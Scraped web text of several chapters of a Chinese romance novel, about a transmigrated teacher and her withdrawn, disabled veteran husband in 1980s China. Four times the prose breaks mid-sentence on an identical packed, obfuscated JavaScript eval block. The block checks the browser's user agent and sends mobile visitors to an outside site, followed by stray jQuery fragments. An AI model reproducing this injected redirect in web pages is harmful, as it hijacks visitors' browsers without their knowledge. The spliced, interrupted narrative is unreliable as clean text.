他的语气不如之前热情,江乐阳像是完全没察觉,或者是察觉到,也只当他是上班太累,还在跟他说白天的事情。 江乐阳买衣服的时候店里人多,田曼自己算错了账,多收了三毛钱,其实她自己不说,谁也不会知道,但还是沿路打听着把钱送回来了,江乐阳就没见过这么实诚的生意人,就多跟她聊了几句。 田曼也才二十岁,按理大学都还没毕业的年纪,自己就能把那家小店经营得有模有样。 这个年代还没有那么多服装店,他们这边又算是城郊,没有市中心那么繁华,大部分人都还是花布票买了布料做衣服,有人在家自己动手,有人在裁缝铺花钱。 刚开始田曼也只是赚点手工钱,后来自己也会做些成衣挂在店里卖,实在忙不过来了才让田婶去帮忙。 她送钱过来的时候江乐阳正在研究怎么炸藕夹,试了好几天,口感都没那么脆,田曼还热心提醒她,炸熟出锅之后,还得放回热油里再复炸一小会儿,吃起来才是脆的。 以前学校食堂每天中午都有炸藕夹,江乐阳会和关系好的几个女老师一起吃午饭,一边吃一边聊班上的学生,来到这里这么久,终于又吃上这一口,酥脆的面糊被一口一口咬断,好像又回到充实的校园工作。 江乐阳高兴得筷子都放不下,对田曼是又感激又佩服,最后还强行给她分了半碗藕夹,两个人这就算是认识了,还约着改天一起去买毛线。 不止是江乐阳自己嘴馋,藕夹也是炸给陆锋的,她也不知道工厂食堂口味怎么样,但总归没有家里的油水足,就想着给陆锋准备点零嘴,要是来不及吃饭还能有点垫肚子的,反正现在天凉,藕夹炸熟之后放个一两天也不会坏。 “对了,我再跟你悄悄说个秘密,你别告诉陆铠是我说的。” 江乐阳一边说话,还一边瞄着陆铠的房间,确定屋里已经熄灯了,仍然压低了声音,凑到陆锋耳朵边,还用一只手挡住他的耳朵,这才开口:“陆铠期中考试没及格,老师叫家长,他不敢跟你说,就来求我了。” 那天陆铠拿着两张卷子站在厨房门口,一直盯着江乐阳做饭,问他是不是饿了,也不肯说话,最后是江乐阳瞄到卷子上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15627500|172446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的三十几分,硬生生把试卷抽出来,他才肯小声地开口问,江乐阳能不能去给他开家长会。 他哥工作忙、他哥没时间……说来说去找了一大堆借口,无非就是怕他哥打他。 江乐阳以前都是好学生,后来毕业就当了老师,这还是头一次站在家长的角度,看见学生拿着不及格的卷子回家,是这个表情,只觉得新鲜又有趣,跟陆锋说话的时候带着笑。 尤其当她站在老师的办公室里,被老师指着卷子念叨,又是强调念书有多重要,又是分析陆铠马上就要上初中了,这个样子还怎么继续读。 江乐阳一直在点头,但其实听着有点走神,她忍不住想,以往陆锋被叫过来,也是面对同样的场面吗?一个大男人站在桌子前被老师批评,还只能低着头应和,想想就很滑稽。 “他不让我跟你说,可能是怕你生气,但我觉得这不是啥大事,你是他哥,你也有权利知道。” 江乐阳凑得太近了,呼出的热气打在陆锋的耳廓上,半边身体都痒痒的,冒出了一层鸡皮疙瘩,他的思维像卡住的齿轮,甚至都没听明白江乐阳说了什么,耳边只有自己的心跳声。 晃了片刻脑子里才浮出来没及格三个字。 “他又没及格?我去教训他……” 陆锋顺势要站起来,顺势拉开了个江乐阳的距离。 和江乐阳离得太近,他的心跳就会加速,完全控制不住。 “哎呀,我都说了是秘密,你一骂他不就把我给出卖了吗?” 江乐阳赶紧把人拉住,好不容易和陆铠的关系缓和了,她可不能做泄密的人,而且自己也认真看过他的卷面了,态度还是挺认真的,基础的题目也都能做,就是有点不太开窍,这个年代的课本也不难,卷子上的题认真给他讲一讲,还是能听明白的。 “可他老是不及格。” 这也不是头一次了,以前长辈里只有陆锋会写字,他拿着卷子只能找哥哥签,然后免不了一顿揍,现在发觉江乐阳不会动手打人,索性就越过了陆锋,连分数都没给他看。 “没关系啊,不及格而已,天又不会塌,而且这几天吃完晚饭我都在给他讲题,他都听懂了,补一补总能学会,不会耽误明年上初中的。” 以前江乐阳有个小表妹,从上小学开始,就被要求门门都考满分,卷得跟鱿鱼似的,就没怎么见小朋友笑过,江乐阳不认同这种教育方式,小学本来就是为了打基础,没必要刻意追求分数的高低。 考试不及格而已,残了一条腿而已,天又不会塌,这点事江乐阳压根就没放在心上,不愿意放过自己的,一直都是陆锋。 “是不是太麻烦你了?” 又要做家务又要给陆铠辅导作业,这个家好像把江乐阳困住了,陆锋觉得不对劲,茫然地想解开绳索,却找不到绳结的位置。 “我闲着也是闲着,你工作又忙,家里冷冷清清的,正好让他陪我说说话。” 陆锋从她的语气里听出一些埋怨,其实他很想承诺以后一定早点回家,最后还是把这句话咽回去了。 江乐阳现在没有别的地方可以去,只能住在这里,可是她已经交到朋友了,以后还会遇到更多人,逐渐就会意识到这个家里只有两个累赘。 她会自己解开绳结,与其等到那个时候再闹矛盾,不如刚开始就不要走得太近。 15. 送饭 小学的知识并不难,更何况江乐阳还是现代高校师范专业的硕士,一对一教了几天,陆铠就能举一反三了,就是作文写得不太好,脑子里没什么积累的内容,下笔就写不出完整的内容,最好的办法就是多读书。 江乐阳往家里买了好几本连环画,就让陆铠自己看,看明白了之后对着画讲给自己听,还能顺便锻炼他的表达能力。 故事讲得好就有奖励,刚开始的这段时间,先把学生的积极性调动起来最重要,等趣味性的连环画看完了,再慢慢过渡到其他课外书。 江乐阳也不赶进度,能看多少算多少,只是小朋友的兴趣逐渐被培养起来,自己就很好奇后面到底发生了什么,自觉地一页一页往后翻看。 反倒是江乐阳,每天看着天黑陆锋还没回家,就会有点心神不宁,她还是不习惯饭桌上只有两个人,总觉得这个家里空荡荡的。 “你哥以前也这么忙吗?也回家这么晚?” 陆铠的意识里还没有忙不忙的概念,他只知道大哥要赚钱,所以每天都要出门,就像自己也要去学校上学一样,以前经常都是自己在外面玩到天黑,然后被哥哥拎着后脖子抓回来,比自己回家晚,应该就算很忙吧? “我不知道啊,但是哥赚钱很辛苦。” 江乐阳被他一本正经思考的样子逗笑了,揉了揉他刚剪短的头发茬:“对对对,他辛苦,那你就好好学习,别再不及格了,不然老被叫家长,他多丢人啊。” “以后不会了。” 陆铠低头写着数学题,他看得见江乐阳对自己的付出,心里想着期末考试一定要考及格,不仅不能再让哥哥丢脸,也不能辜负了嫂子的一番苦心。 除了关心陆铠的学习,江乐阳也会去田曼的小店里帮忙,主要还是想交这个朋友,做衣服她一窍不通,卖衣服还是没什么问题,口算和心算都比田曼快得多,一笔账都没出过纰漏。 这个时代计算器还没那么普及,每次看她流畅地算出该找多少钱,田曼的眼里就满满都是羡慕,自己只上了小学,多算几件衣服的钱都恨不得要找算盘,还很容易算错,有时候被人糊弄了也不知道。 “乐阳,你真厉害,上过学真好。” “这有什么厉害的,你做衣服才厉害呢。” 田曼的天赋都点在了缝纫上,手里拿着针线游刃有余,踩上缝纫机更是行云流水,偶尔江乐阳给她提点小意见,比如裙子稍微收腰、袖口上可以用松紧带做出花边,就这么凭空说一两句,她就能做出成品。 但她从来不觉得自己有本事。 对于被传统思想规训的女性,只会认为家务和女红做得再好都是分内之事,出来抛头露面当个体户,更是该被人笑话。 “听说你以前在纺织厂里上班,做衣服简直就是家常便饭,我这算什么本事。” “啊,对,不过我现在不是没上班了嘛……” 江乐阳心虚地笑笑,生怕她把话题扯到纺织厂,不过田曼显然对八卦更感兴趣。 “为什么啊,就为了你家那个男人?那多不值啊。” 其实不少人在背后嚼舌根,说江乐阳年纪轻轻的就嫁了个残废的个体户,连自己的铁饭碗都放弃了,田曼倒不是看不起陆锋,她是真的把江乐阳当朋友,才会为她鸣不平。 可江乐阳听见这种话,心里还是不高兴。 “小曼,你别这么说,陆锋对我很好,没有继续在纺织厂上班,也是我自己的选择,跟他没关系的。” 田曼有自己的边界感,也不会过度干预人家两口子的家务事,只是感叹着陆锋命好。 “也不知道他上辈子攒了多少功德,才能娶到你这么好的媳妇,我都还没开始说坏话呢,你就心疼上了。” “跟上辈子有什么关系,他现在也很辛苦啊,每天都很晚才回家,他的店里也很忙。” 一说到陆锋很晚才回家,江乐阳整个人就有些泄气,好像连肩膀都垮下去了,田曼从她的语气里听出一点不对劲,赶紧追问道:“这么心疼啊?那你为什么不去他店里帮忙,天天来我这里打发时间?” “他那是维修店,我什么都不会,去了也是添乱吧。” “那就去送个饭啊,午饭晚饭的,送过去还能跟他一起吃,顺便表达一下自己的心疼,还有你独守空房的寂寞……” 田曼说到最后就开始朝她挑眉,尾音也跟着往上扬,本来只是朋友之间的玩笑话,但江乐阳还是认真思考了一下。 她之前在学校上班的时候,也看过身边其他老师谈恋爱,最多就是外卖送点咖啡奶茶小蛋糕吧,哪有人会巴巴跑到对方的单位去送饭的? “可是去送饭,感觉很奇怪啊,搞得跟我查岗一样。” “我就随口一说,你还真要去啊,陆锋有什么好的,你就这么喜欢啊?” “我没说我要去!” 江乐阳像是被踩中了尾巴,脸上罕见有几分羞涩,却没否认自己的喜欢。 田曼看得清清楚楚。 “可是你现在又给他炸藕合、又要炸鱼干,跟去送饭有什么区别?心里都这么惦记了,还舍不得多走两步啊?而且他那个维修店离你家又不远,你要是不好意思,就说是顺路过去看看呗。” 江乐阳认真想了想,觉得她说的确实有点道理,反正自己闲着也是闲着,去送顿饭好像也没什么,结婚证领了这么久,她还没去过陆锋的维修店呢。 “田曼同志,看不出来,你还挺有经验啊。” 江乐阳本来是随口说的一句玩笑话,哪成想田曼的脸竟然红了,低着头继续理自己的毛线,也不肯再开口。 “还真有经验啊?谁啊谁啊?跟我说说呗。” 田曼被她追问得在椅子上原地转了一圈,实在逃不开了,有些羞愤地说了一句:“真没有,我都没处过对象呢,哪有你们已婚人士经验丰富啊!” 看她不愿意正面回答,江乐阳的好奇心也就适可而止,只是在心里暗暗想着,自己这个“已婚人士”才是真的完全没有经验,本来就没谈过恋爱,现在面对的简直就是一道竞赛题,写了个解之后都不知道从何下手。 江乐阳知道自己对陆锋有好感,这么踏实又有责任感的男人,身材和长相还都不错,不仅上交工资还会主动做家务,住在一个屋檐下也从不动手动脚,江乐阳心里的防备在日复一日的相处中逐渐瓦解,对陆锋几乎是百分百的信任。 所以她怎么也想不明白,为什么维修店明明不忙,陆锋还要骗自己。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15627501|172446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>准备送饭的时候,江乐阳心里的雀跃藏都藏不住,像是刚谈恋爱的小姑娘,往饭盒里装了三个菜还不够,就连苹果都要切成小块装好,脑海里不断演练着陆锋看见自己的场面,不知道他惊喜的时候会做出什么表情。 江乐阳都想好了,要是店里人多,就等人少一点再进去,这样还能说上几句话,要是他正在干活抽不出手,那就把饭盒放下就走,让他好好吃顿饭就行。 维修店的房子是他们几个自己建的,门口是一片宽阔的院子,用石灰在地上画出几个停车位,别人开过来修车就可以停在院子里。 不过今天只停着店里的小货车,角落地堆了几个报废的橡胶轮胎,往里走只有简单的几间屋子,简单粉刷过的墙壁都已经发黄,大多用作库房,放着电器和汽车的配件。 正中间的房间最大,进门左手边是两排货架,摆着零售的五金工具和小配件,右手边放了几张桌子和旧沙发,供他们平时休息和吃饭。 江乐阳进门的时候就觉得不太对劲,院子里空空荡荡,屋里也没人说话,张贺靠在椅背上打盹,李平拿着一支测电笔在研究手里的电路板,而陆锋正坐在桌子前看书。 几个人身上的衣服都干干净净,像是今天压根就还没开工。 怎么看,都不像是忙得抽不开身、晚饭都没法回家吃的样子。 陆锋听见脚步声才抬头,还以为是有客人,却没想到站在眼前的人竟然是江乐阳,慌张之下手里的钢笔都脱了手,转了半圈之后笔尖正对着他的袖口,瞬间就被染上一团蓝色墨迹。 不过工装也是深蓝色,不细看也发现不了。 “你怎么来了?” 陆锋的语气不像是看到惊喜,反而像是受了什么惊吓,这样的反应并不在江乐阳的预料之中,一时也不知道该怎么回答,只能把田曼教的托词重复了一遍。 “我就顺路过来看看,刚好中午饭做多了,正好给你送一份过来。” 看见她手里拎着的饭盒,陆锋才终于回过神来,绕过桌子走到她面前,接过饭盒之后却不知道要说什么,两人就这么面面相觑地站着,直到张贺拉了张椅子过来请她坐下,才打破了这份尴尬。 陆锋眼里的慌张和逃避像一盆冷水,浇灭了江乐阳准备午饭的热情,她还有很多疑问,可是好像又没必要再问。 她只想回家,好像回家就能当作今天什么都没发生过。 “嫂子这是特意过来给锋哥送饭啊,真是太有心了。” 张贺想不明白两人到底在闹什么矛盾,还想努力缓解气氛,抬手拍了拍陆锋的肩膀,可他就是不接话。 陆锋已经往后退了很多步,心中的挣扎和痛苦无处可说,他自己也不知道该怎么面对主动往前走的江乐阳。 在外人面前,江乐阳还是主动维持体面,勉强朝张贺笑了笑:“是啊,听说你们最近都很忙,只能吃拖拉机厂的食堂,我想着给你们改善改善伙食,我做得多,一会儿你也跟着尝尝。” “那我可真是有口福了!” 张贺拿过饭盒正要打开,绞尽脑汁想还要再说点什么,却听见角落里的李平缓缓开口—— “最近都不忙,我堂哥这几天都没来,只是锋哥经常在店里看书。” 16. 她哪里都好 李平的语气极其平静,好像真的只是随口搭了句话。 可是他的语气越平静,屋里的气氛就越尴尬,张贺也不知道这人平时都跟个闷葫芦似的,怎么今天突然站出来拆台。 江乐阳还在旁边站着,也不能直接开口骂他,只能转头瞪了他一眼,可是李平压根连头都没抬,还是专心研究手里的电路板。 话说到这个份上,江乐阳也坐不下去了。 “你们趁热吃吧,我先回家了。” “嫂子,诶,锋哥你送送嫂子啊……” 张贺推了陆锋一把,可是他不仅没动,甚至都没敢看江乐阳一眼,左手紧紧抓着拐杖,一步也不敢上前,他知道自己如果看见江乐阳眼里的失望,就一定会动摇。 可是长痛不如短痛,他不想让江乐阳走得更近了。 反而是李平突然站起身,手里的电笔随便扔在一边,含糊着说了一句:“我去送送嫂子吧。” 李平只是表面上平静,实际他说完那句话,心都快跳出嗓子眼了。 他比谁都清楚自己的身份,知道店里最没资格开口的人就是他。 况且他也不知道人家夫妻俩到底有什么矛盾,但无论发生什么,张贺和李大友都一定会毫不犹豫站在陆锋那边,只有江乐阳在这里无依无靠,被蒙在鼓里都不知道。 李平十几岁就寄住在堂哥家,最能体会孤立无援的感受,一想到江乐阳比自己还小了三岁,他就不忍心。 等他追上江乐阳,反而不知道该说什么了,脑子里乱成一锅粥,不知道自己刚刚插了那句话到底对不对。 江乐阳也没心情跟他说话。 维修店离陆家不远,走路回去也就二十几分钟,李平默默跟在她身后,听着她叹气的声音。 江乐阳脑子里很乱,只能归咎于送饭这个错误的决定,可越是往前复盘,越能发现很多变化好像都有迹可循,只是自己一直不愿意面对而已。 陆锋好像是突然就变忙起来,突然就不愿意跟自己多说话,每天都是自己留着灯等他回家,把白天遇到的事情一股脑都告诉他,然后他答复几句而已。 可是江乐阳实在想不明白,到底是哪里出了问题。 只能想着晚上吧,等晚上陆锋回来,再好好谈一谈。 可是真的等到晚上陆锋回家,江乐阳还没来得及开口,只等来一个洗干净的饭盒,还有一句他明天要去省城学习,不一定要去多久。 “家里的钱应该够用,存折的密码你也知道,都能用。” 江乐阳没办法再骗自己,但还是挣扎着想要一个答案。 “陆锋,你在躲着我吗?” “没有。” 陆锋不敢看她,只是转身回房间开始收拾行李,他确实定期会去省城里学习,但今天的确是仓促做的决定,他实在不知道该如何面对江乐阳,甚至无法拒绝江乐阳的主动靠近,只能缩进乌龟壳里装聋作哑。 只盼着两人分开一段时间,说不定江乐阳的注意力就会被别人吸引,不要在自己这个瘸子身上浪费时间了。 “我哪里做得不好你可以直接告诉我,这样躲着我连家都不回,我想不明白,到底为什么?” 陆锋还是不说话,甚至狠心关上了房间门。 白天江乐阳从店里离开之后,张贺也问了他同样的问题,明明江乐阳哪里都很好,为什么还要躲着她不回家。 “难不成是因为你小时候那个娃娃亲?大哥你可别说你还惦记着人家,她家娃都生了俩了,而且她跟嫂子能比吗?” “你别瞎说,我就没惦记过她。” 跟刘英的娃娃亲,是两家父母很早的时候随口说的一句玩笑话,但是逢年过节总被拿出来说,好像就真的这么定下来了。 只不过俩人从小就没什么交集,刘英她们几个小女孩过家家,张贺他们爬树掏鸟蛋,根本都玩不到一起。 十几岁的时候娃娃亲这件事情又被重新提起,陆锋也没有抗拒,毕竟身边大部分人都是盲婚哑嫁,媒人牵线见过几面就领证了。 那时候自由恋爱还是件稀罕事,陆锋不知道什么是爱情,对男女之情并不开窍,也不知道自己未来要做什么,只知道人到了年纪就要结婚生子,他原本也以为自己会这样糊涂地进入婚姻。 反正都是搭伙过日子,跟谁过都一样。 后来机缘巧合得到入伍的机会,部队赋予他理想,教会他斗争,也让他明白什么是责任。 所以哪怕很多年没见过这个娃娃亲对象,对她的印象只停留在父母的信里,说她都还没嫁人,让自己别耽误了人家,应该赶紧找个好日子把婚事定了。 结了婚之后可以让刘英去随军,部队里很多人都是这么过日子的,陆锋便把这件事当作自己的责任,回信说都行,两家长辈定日子就行。 只不过日子还没定下来,陆家父母就意外过世,按习俗又需要守孝,婚事一再推迟,再后来就是陆锋出任务受伤,坐着轮椅回家。 两人从未私下通过信,连彼此的长相都忘记了,他并不知道自己当兵这几年,刘英已经和别人谈起了恋爱,只觉得耽误了刘英,本来两个人之间就完全没有感情基础,自己成了残疾更不能再拖累人家,本意是想上门谈一谈怎么补偿,外人却以为他那天是上门去提亲的。 还把刘家人吓得鸡飞狗跳。 不过最后不论是补偿还是提亲,都没有谈拢,因为张贺推着轮椅到了刘家门口,连门都还没进去,就听见刘英声嘶力竭地向父母抗议,说自己宁愿死都不要嫁给一个残废。 陆锋当时被送回家的时候,骨头里还打着钢板,纱布也没有拆,只能靠轮椅勉强活动,整个人因为反复手术而显得疲惫又虚弱,头发全部剃光,脸上的胡茬都没收拾,刘英远远地看过他两眼就被吓跑了。 原本还以为自己能随军去当军官太太,现在太太当不成了不说,下半辈子还得照顾一个残废,她怎么都接受不了,在家闹了好几天,说什么不愿意嫁,听说陆锋要上门提亲,更是闹到以死相逼的地步。 “他爸妈都死了,死人说的话就不算数了,谁还记得什么娃娃亲,为什么无凭无据的就要我嫁,现在都提倡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15629332|172446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恋爱自由了!” “谁知道他两条腿烂成什么样子,都坐轮椅了,看着多恶心啊,要是他一辈子都站不起来,我还得伺候他屎尿吗?” “他上赶着要来提亲,肯定就是想找个人回去伺候他,我又不是冤大头!” “而且他都成了残废,以后也不能赚钱,说不定那里也不行了,我要是真嫁过去,以后日子还怎么过?守活寡啊?” “他还有个弟弟,以后也得我养着,那陆家就是个火坑啊,我宁愿去死也不要跳进去啊!” “妈,我不要嫁给残废啊,而且我都跟小陈那啥了,他说了他要娶我的,我这辈子就认准他了……” 刘家二老对于女儿的埋怨并未反驳,谁知道陆锋会不会一辈子瘫在床上,他们又怎么愿意真把女儿往火坑里推。 只是他们不知道当事人已经到自己家门口了,还在口不择言地哭诉着自己的委屈,张贺听得怒火中烧,差点想直接踹门进去打人,最后还是被陆锋拦住。 陆锋想了很久,最后也只是长叹一口气,无奈地说了一句算了。 看在两家父母还算有些交情的份上,给双方都留最后一点体面,不论是娃娃亲还是绿帽子,都当从来没有发生过,更何况刘英说的那些话,原本也是事实。 那个时候,陆锋也不知道自己还能不能站起来,所以他们俩跟刘家人连招呼都没打,就原路回了家。 最后刘英也达成了自己的愿望,没几天就跟现在的丈夫办了喜酒,直接把生米煮成熟饭,甚至都没提前知会陆锋一声,婚礼也没请他,像是生怕他上门抢婚似的。 刘英说的话难听、做的事也难看,就算真的没感情,好歹也是一起长大的邻居,实在连一点体面都没留,陆锋消沉了一段时间,后来再没提起过这件事。 说不在乎是假的,能摆脱轮椅之后,左腿再疼他都坚持用拐杖,甚至他如今心里的自卑,很大一部分就来源于刘英当年的那番话,哪怕他现在已经站起来了、也能自己赚钱,过得比刘英家里好得多,可是那些话留下的痕迹,是怎么都擦不掉的。 刘英狰狞的面孔和嫌恶的声音,偶尔还会出现在他的噩梦里。 他无法想象,若是有朝一日,江乐阳也用那样嫌弃的眼神看向自己,又该怎么办。 陌生人的恶语尚且能装作不在乎,但如果是江乐阳,他会没办法呼吸的。 没有人能和他感同身受,就连张贺当年都以为他是因为没谈成亲事才难过,所以才会突然又提起这件事。 可是陆锋否认得这么果断,好像确实也没什么关系。 “那还能因为啥,嫂子这么好难道你还看不上?” 陆锋当然知道江乐阳很好,可就是太好了,好到自己都舍不得耽误她,不能让她的后半辈子都搭在自己这个残废身上。 “她哪里都很好,是我配不上她。” “哥,你别这么说,当年刘英说的那些话就是放屁,而且嫂子也不是那样的人啊。” “乐阳还年轻,可是我比她大八岁,我总得为她的以后做打算。” 17. 想念 省城理工大学开办了夜大机械专班,陆锋虽然没上过高中,但他是退伍军人,又积极响应政策发展个体经济,以前的老领导引荐他认识了夜大的老师,维修店里不忙的时候就会去旁听,这几年进口小汽车越来越多,他捕捉到这个风口,很想把汽车维修这个业务发展起来。 以前在部队的时候他就对汽车很感兴趣,开车也是那时候学的,要不是因为腿不方便,他一开始就会专攻汽车维修。 受伤之后他就再没上过驾驶座,因为左腿踩不了离合,有些老板开车来修,停不进停车位里,他也只能看着干着急,直到张贺学会开车,他们才开展了修车的业务。 以往去省城学习都是四个人轮流去,这几天刚好李大友家里有事走不开,张贺得留下看店,陆锋就把李平带上了。 平日里李平话就不多,但是干活还算细心,几个人都把他当小孩带着,教他本事也都尽心尽力,从来没想过他还会有什么别的心思,哪怕昨天是他开口戳穿了自己装忙的谎言,陆锋也没放在心上。 两个人白天去汽车厂里参观,晚上跟着夜大的学生一起上课,下课之后就住在理工大学的招待所里,一个标准间里放了两张单人床。 李平像隐形人一样跟着学习了几天,该记笔记的时候记笔记,有问题也会主动提问,学得比陆锋还认真,回到招待所还会把自己的笔记递给陆锋看。 他年纪最小,心思也最细,把陆锋的魂不守舍看得清清楚楚,这哪是来学习的,明明就是跑出来躲着江乐阳。 李平不像李大友和张贺,跟陆锋没有一起长大的交情,那天他看见江乐阳带着自己精心准备的饭菜,满心欢喜地走进维修店,眼睛一直盯着陆锋,再也容不下第二个人,看见她眼里的光慢慢黯淡,最后带着失望离开,好像有什么东西在李平心里长出一棵小芽,让他迫切地想为江乐阳叫屈。 明明怎么都轮不到他送江乐阳回家,但他还是追出去了,李平也不知道自己到底是出于什么心理,只是看见江乐阳难过,有些话没过脑子就已经出口了。 “锋哥这次打算在省城待几天?” 李平很少主动说话,性格内敛得不像二十出头的大小伙子,来一趟省城也不惦记着出去玩,陆锋还以为他是换了个住处所以不适应。 “至少半个月吧,你想回家了?” “我就住堂哥家,无牵无挂的,倒是你,怎么舍得把嫂子一个人扔在家?” 陆锋听出他的言外之意,在床上翻了个身背对着他,不想继续接话,但是李平接着说:“她帮你把家里打理得井井有条,你就这么躲到省城里来,她在家该多难过啊,要是我,我肯定舍不得。” “家家有本难念的经,你不懂。” 陆锋不想跟他细说,随口敷衍了一句,李平却悄悄翻了个白眼,跟江乐阳那么好的人一起念经,能有多难? “你总说你是为她好,可是你都没跟她商量过,都不知道她到底想要什么,自己就把主意拿了,真像个独断专制的土皇帝。” 李平家里条件不好,兄弟姐妹又多,所以才被寄养到大伯家里,后来又被带到堂哥家,前几年没少被大伯母话里话外嫌弃过,这几年自己拿工资了,开始给堂嫂交生活费,才换来一点好脸色。 他也埋怨过父母,为什么不把自己留在身边,都没有和自己商量过,跋山涉水把自己送过来,就像物品一样扔在别人家里。 但母亲总说这是为他好,只有这样他才能吃饱饭,所以他不可以怨。 但江乐阳不一样,她又不是被买回来的童养媳,现在都已经是新社会了,女人能顶半边天,她又不需要依附陆锋生活。 江乐阳还那么年轻,李平心里甚至隐隐觉得,陆锋就配不上她,要是自己娶了这么好的媳妇,肯定天天捧在手心里宠着。 这番话李平憋了好几天了,今天才总算是说出口,也不管陆锋到底听没听进去,自己也翻了个身安心睡觉了。 屋里只剩下此起彼伏的呼吸声,陆锋睁着眼越来越清醒,他被自卑拉扯着不知道该如何面对江乐阳,不敢进也不敢退,总想着长痛不如短痛,千万不能对江乐阳生出感情来,否则拖累她一辈子,却突然被旁观的外人点醒。 他的懦弱和退缩,被自己粉饰成冠冕堂皇的保护。 可是江乐阳心里又是怎么想的呢? 好像自己从来都没有问过她。 或者说,江乐阳已经无数次对自己的残疾表达过不介意,但是陆锋不敢信任她,更不敢去求证,他怕开口问了,自己所剩无几的自尊都会被戳破。 如果是江乐阳,哪怕她眼里有半分嫌弃,都会变成陆锋后半生的噩梦。 所以索性不问。 装聋作哑不去追究答案,就能继续骗自己。 可是这样真的对吗? 陆锋想不出答案。 他的答案在江乐阳那里。 以前每次到省城,除了学习和参观,陆锋也会去拜访之前的战友,日子千篇一律,无非就是晚上换了地方睡觉,没觉得和在家有什么区别,可是现在每天晚上睡前都见不到江乐阳,听不见她的声音,突然让他生出许多牵挂。 就连刚当兵的时候,他都没这么想过家。 他的从万千思绪中费力分辨出思念,在心里日夜疯长,随时都要攀上陆锋的咽喉,几乎要将他溺亡。 好像一天都不能多等。 陆锋最后把李平留在了省城,自己迫不及待买了客车票回家。 去车站之前还不忘去了趟百货大楼,他认识江乐阳这么久,也没给她买过什么像样的礼物,甚至都不知道她喜欢什么,只能挨着柜台转了一圈。 这还是跟李平学的,父母叮嘱过他很多次,他借住在堂哥家里,又是堂哥帮忙找的工作,该有的礼数一定要做得周到,所以每次出门都会给堂嫂带礼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15633948|172446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 物。 陆锋以前都不知道,原来雪花膏还分很多个牌子,平时江乐阳自己也抹,还会给陆铠也抹一点,但是陆锋没留意她用的是什么,只想着买贵一点的,甚至还买了外国进口的巧克力,他自己都没吃过。 所有的好东西他都想买给江乐阳,就连看见一件大衣,也会想象穿在江乐阳身上的样子,却没考虑现在的江乐阳还愿不愿意接受他的礼物。 毕竟他先是以加班为借口躲了半个多月,又莫名其妙把自己扔在家跑到省城,江乐阳是真的想不明白陆锋到底在想什么,就好像是单方面地宣布冷战,把亲弟弟和家里的财产都留下了,也不怕自己卷了钱跑了。 那天晚上陆锋一言不发收拾行李的时候,江乐阳又疑惑又愤怒,对方摆明了不愿意沟通,她也不想上赶着热脸去贴冷屁股。 可是陆锋离开得越久,愤怒变少,她心里更多的是迷茫。 在这个陌生的世界,江乐阳没有亲人和朋友,陆锋是她唯一可以信任的人,可是现在连这个人都要离开她,就好像突然在航行中看不见灯塔,她完全不知道自己在这个世界要做什么。 从小接受的教育不允许她过度依赖别人,可是本能让她想抓住陆锋这根稻草。 曹思明就是这个时候撞上门的。 江乐阳要回了自己的一百八十块钱之后,跟他就再没联系过,也没联系过江家任何一个人。她不关心、也懒得打听,没想到江映梅竟然真的把他拿下了,甚至还是以未婚先孕这种不体面的方式,怀着孩子上门要求曹家提亲。 曹思明根本就没玩够,对江映梅也谈不上多喜欢,但是孩子都怀上了,不结婚就是耍流氓,闹大了还是对他影响最大,只能咬着牙定了亲,还得在江映梅显怀之前抓紧把喜酒办了。 他今天来找江乐阳,原本只是想请她去吃酒,顺便能收点份子钱,毕竟陆锋当时为了娶她,一口气给了两千块钱的彩礼,怎么看都像是没脑子的冤大头,能多搜刮一点算一点。 可是推开门看见江乐阳时,本来就没收敛的色心又活泛起来了。 江乐阳穿了件浅棕色的短款大衣,里面是贴身的米白色毛衣,衬得她皮肤更白,头发简单编了个麻花辫,垂在左边肩膀上,好几个月不见,她变得更漂亮了,气质跟之前完全不一样,曹思明都差点不敢认。 她正在院子里打扫落叶,明明是为了干活才带着的袖套,在她的小臂上也成了装饰品,勒着细细的手腕,跟着扫把小幅度转动,吸引着曹思明的视线挪不开。 